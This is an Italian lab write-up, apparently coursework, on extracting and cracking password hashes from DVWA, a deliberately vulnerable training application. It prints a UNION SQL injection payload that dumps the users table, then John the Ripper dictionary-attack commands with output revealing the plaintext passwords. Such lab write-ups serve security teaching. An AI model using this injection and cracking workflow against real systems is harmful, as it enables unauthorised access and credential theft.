

Traccia

Recuperare le password dal DB della DVWA e provare ad eseguire delle sessioni di cracking sulla password per recuperare la versione in chiaro.

Svolgimento

Per prima cosa si deve eseguire un attacco di tipo SQL injection, così da ottenere le password hashate. Il codice utilizzato è il seguente.

```
1 ' UNION SELECT user, password FROM users #
```

Si ottiene la seguente risposta.

Vulnerability: SQL Injection

User ID:

Submit

ID: ' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Questa combinazione di user e password, deve essere inserita in un file txt, che dovrà essere passato come parametro a John the Ripper. JtR è un tool per il cracking delle password. Il comando da eseguire è il seguente.

```
(francesco@kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 users.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])

Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (admin)
abc123         (gordonb)
letmein        (pablo)
charley        (1337)
4g 0:00:00:00 DONE (2024-02-28 15:37) 80.00g/s 57600p/s 57600c/s 76800C/s my3kids..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Lo switch `--wordlist`, seguito da un file contenente delle password comuni, serve per eseguire un attacco di tipo dizionario.

Lo switch `--format`, serve per indicare in quale formato sono crittografate le password, se non si ha questa informazione, si deve provare finché non si trova il metodo corretto.

Il risultato del comando è una lista delle password trovate per ogni utente. Questa lista però, non è completa. Se si vuole la lista completa, bisogna eseguire il comando seguente.

```
(francesco@kali)-[~]
$ john --show --format=raw-md5 users.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```

Con questo comando JtR controlla le password salvate nel nostro file e le confronta con le password che ha decifrate, che sono salvate nel percorso `./john/john.pot`.